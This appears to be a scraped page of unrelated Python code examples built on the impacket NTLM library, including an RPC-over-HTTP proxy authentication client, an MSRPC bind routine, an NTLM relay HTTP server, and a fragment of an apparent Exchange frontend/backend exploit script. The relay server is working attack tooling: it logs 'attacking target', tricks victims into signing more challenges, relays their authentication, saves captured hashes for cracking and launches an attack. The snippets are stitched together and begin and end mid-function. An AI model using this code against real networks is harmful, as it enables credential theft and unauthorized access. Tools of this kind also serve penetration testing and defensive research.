                'No NTLM challenge returned from server for url %s' %
                self._rpcProxyUrl.path)

        # Default ACL in HKLM\SOFTWARE\Microsoft\Rpc\ValidPorts allows connections only by NetBIOS name of the server.
        # If remoteName is empty we assume the target is the rpcproxy server, and get its NetBIOS name from NTLMSSP.
        #
        # Interestingly, if Administrator renames the server, the ACL remains the original.
        if not self.__ntlmssp_info:
            challenge = ntlm.NTLMAuthChallenge(serverChallenge)
            self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])

        if not self.__remoteName:
            self.__remoteName = self.__ntlmssp_info[
                ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
            self._stringbinding.set_network_address(self.__remoteName)

        if not self._rpcProxyUrl.query:
            query = self.__remoteName + ':' + str(self.__dstport)
            self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query)

        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth, serverChallenge, self.__username, self.__password,
            self.__domain, self.__lmhash, self.__nthash)

        headers['Authorization'] = b'NTLM ' + base64.b64encode(type3.getData())

        self.__channels[method].request(method,
                                        self._rpcProxyUrl.path + '?' +
                                        self._rpcProxyUrl.query,
                                        headers=headers)

        auth_resp = self.__channels[method].sock.recv(8192)

        if auth_resp != b'HTTP/1.1 100 Continue\r\n\r\n':
            try:
                auth_resp = auth_resp.split(b'\r\n')[0].decode(
                    "utf-8", errors='replace')
                raise RPCProxyClientException(
                    'RPC Proxy authentication failed in %s channel' % method,
                    proxy_error=auth_resp)
            except (IndexError, KeyError, AttributeError):
                raise RPCProxyClientException(
                    'RPC Proxy authentication failed in %s channel' % method)
Beispiel #13
0
    def bind(self, uuid, alter=0, bogus_binds=0):
        bind = MSRPCBind(endianness=self.endianness)

        syntax = '\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60'

        if self.endianness == '>':
            syntax = unpack('<LHHBB6s', syntax)
            syntax = pack('>LHHBB6s', *syntax)

            uuid = list(unpack('<LHHBB6sHH', uuid))

            uuid[-1] ^= uuid[-2]
            uuid[-2] ^= uuid[-1]
            uuid[-1] ^= uuid[-2]

            uuid = pack('>LHHBB6sHH', *uuid)

        ctx = 0
        for i in range(bogus_binds):
            bind.set_ctx_id(self._ctx, index=ctx)
            bind.set_trans_num(1, index=ctx)
            bind.set_if_binuuid('A' * 20, index=ctx)
            bind.set_xfer_syntax_binuuid(syntax, index=ctx)
            bind.set_xfer_syntax_ver(2, index=ctx)

            self._ctx += 1
            ctx += 1

        bind.set_ctx_id(self._ctx, index=ctx)
        bind.set_trans_num(1, index=ctx)
        bind.set_if_binuuid(uuid, index=ctx)
        bind.set_xfer_syntax_binuuid(syntax, index=ctx)
        bind.set_xfer_syntax_ver(2, index=ctx)

        bind.set_ctx_num(ctx + 1)

        if alter:
            bind.set_type(MSRPC_ALTERCTX)

        if (self.__auth_level != ntlm.NTLM_AUTH_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, nth, lmh = self._transport.get_credentials(
                )
            auth = ntlm.NTLMAuthNegotiate()
            auth['auth_level'] = self.__auth_level
            auth['auth_ctx_id'] = self._ctx + 79231
            bind.set_auth_data(str(auth))

        self._transport.send(bind.get_packet())

        s = self._transport.recv()
        if s != 0:
            resp = MSRPCBindAck(s)
        else:
            return 0  #mmm why not None?

        if resp.get_type() == MSRPC_BINDNAK:
            resp = MSRPCBindNak(s)
            status_code = resp.get_reason()
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            else:
                raise Exception(
                    'Unknown DCE RPC fault status code: %.8x' % status_code,
                    resp)

        self.__max_xmit_size = resp.get_max_tfrag()

        if self.__auth_level != ntlm.NTLM_AUTH_NONE:
            authResp = ntlm.NTLMAuthChallenge(
                data=resp.get_auth_data().tostring())
            self._ntlm_challenge = authResp['challenge']
            response = ntlm.NTLMAuthChallengeResponse(self.__username,
                                                      self.__password,
                                                      self._ntlm_challenge)
            response['auth_ctx_id'] = self._ctx + 79231
            response['auth_level'] = self.__auth_level

            if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT,
                                     ntlm.NTLM_AUTH_PKT_INTEGRITY,
                                     ntlm.NTLM_AUTH_PKT_PRIVACY):
                if self.__password:
                    key = ntlm.compute_nthash(self.__password)
                    if POW:
                        hash = POW.Digest(POW.MD4_DIGEST)
                    else:
                        hash = MD4.new()
                    hash.update(key)
                    key = hash.digest()
                else:
                    key = '\x00' * 16

            if POW:
                cipher = POW.Symmetric(POW.RC4)
                cipher.encryptInit(key)
                self.cipher_encrypt = cipher.update
            else:
                cipher = ARC4.new(key)
                self.cipher_encrypt = cipher.encrypt

            if response['flags'] & ntlm.NTLMSSP_KEY_EXCHANGE:
                session_key = 'A' * 16  # XXX Generate random session key
                response['session_key'] = self.cipher_encrypt(session_key)
                if POW:
                    cipher = POW.Symmetric(POW.RC4)
                    cipher.encryptInit(session_key)
                    self.cipher_encrypt = cipher.update
                else:
                    cipher = ARC4.new(session_key)
                    self.cipher_encrypt = cipher.encrypt

            self.sequence = 0

            auth3 = MSRPCHeader()
            auth3.set_type(MSRPC_AUTH3)
            auth3.set_auth_data(str(response))
            self._transport.send(auth3.get_packet(), forceWriteAndx=1)

        return resp  # means packet is signed, if verifier is wrong it fails
Beispiel #14
0
class HTTPRelayServer(Thread):
    class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
        def __init__(self, server_address, RequestHandlerClass, config):
            self.config = config
            SocketServer.TCPServer.__init__(self, server_address,
                                            RequestHandlerClass)

    class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
        def __init__(self, request, client_address, server):
            self.server = server
            self.protocol_version = 'HTTP/1.1'
            self.challengeMessage = None
            self.target = None
            self.client = None
            self.machineAccount = None
            self.machineHashes = None
            self.domainIp = None
            self.authUser = None
            self.target = self.server.config.target.get_target(
                client_address[0], self.server.config.randomtargets)
            logging.info(
                "HTTPD: Received connection from %s, attacking target %s" %
                (client_address[0], self.target[1]))
            SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(
                self, request, client_address, server)

        def handle_one_request(self):
            try:
                SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(
                    self)
            except KeyboardInterrupt:
                raise
            except Exception, e:
                logging.error('Exception in HTTP request handler: %s' % e)

        def log_message(self, format, *args):
            return

        def do_HEAD(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()

        def do_AUTHHEAD(self, message=''):
            self.send_response(401)
            self.send_header('WWW-Authenticate', message)
            self.send_header('Content-type', 'text/html')
            self.send_header('Content-Length', '0')
            self.end_headers()

        #Trickery to get the victim to sign more challenges
        def do_REDIRECT(self):
            rstr = ''.join(
                random.choice(string.ascii_uppercase + string.digits)
                for _ in range(10))
            self.send_response(302)
            self.send_header('WWW-Authenticate', 'NTLM')
            self.send_header('Content-type', 'text/html')
            self.send_header('Connection', 'close')
            self.send_header('Location', '/%s' % rstr)
            self.send_header('Content-Length', '0')
            self.end_headers()

        def do_GET(self):
            messageType = 0
            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message='NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(
                        self.client_address[0], self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token, authenticateMessage):
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target[1], authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage[
                            'user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(
                            self.client_address[0], self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target[1], authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat(
                        self.challengeMessage['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)
                    self.server.config.target.log_target(
                        self.client_address[0], self.target)
                    self.do_attack()
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length', '0')
                    self.send_header('Connection', 'close')
                    self.end_headers()
            return

        def do_ntlm_negotiate(self, token):
            if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
                try:
                    self.client = HTTPRelayClient(
                        "%s://%s:%d/%s" %
                        (self.target[0].lower(), self.target[1],
                         self.target[2], self.target[3]),
                        self.server.config.ewsBody)
                    clientChallengeMessage = self.client.sendNegotiate(token)
                except Exception, e:
                    logging.error("Connection against target %s FAILED" %
                                  self.target[1])
                    logging.error(str(e))
                    return False

            #Calculate auth
            self.challengeMessage = ntlm.NTLMAuthChallenge()
            self.challengeMessage.fromString(clientChallengeMessage)
            self.do_AUTHHEAD(message='NTLM ' +
                             base64.b64encode(self.challengeMessage.getData()))
            return True
Beispiel #15
0
        r = requests.Request('RPC_IN_DATA',
                             f'{args.frontend}/rpc/rpcproxy.dll')
        r.headers['Authorization'] = f'NTLM {ntlmHash}'
        sess = requests.Session()
        if args.proxy:
            proxies = {'https': args.proxy}
        else:
            proxies = {}
        r = sess.send(r.prepare(), verify=False, proxies=proxies)
        if r.status_code != 401:
            raise Exception(f'RPC NTLM Session Auth received {r.status_code}')
        serverChallengeBase64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            r.headers['WWW-Authenticate']).group(1)
        serverChallenge = base64.b64decode(serverChallengeBase64)
        challenge = ntlm.NTLMAuthChallenge(serverChallenge)
        hashData = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
        args.backend = str(hashData.fields[3][1], 'utf-16')
        print(f'Backend: {args.backend}')

    p = Proxy(args.frontend, args.backend, proxy=args.proxy)

    if args.email is not None:
        url = '/autodiscover/autodiscover.xml'
        r = requests.Request('POST', url)
        r.headers['Content-Type'] = 'text/xml'
        r.data = f'<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{args.email}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover> '
        r = p.send(r)
        if r.status_code != 200:
            raise Exception(f'Unexpected autodiscover status {r.status_code}')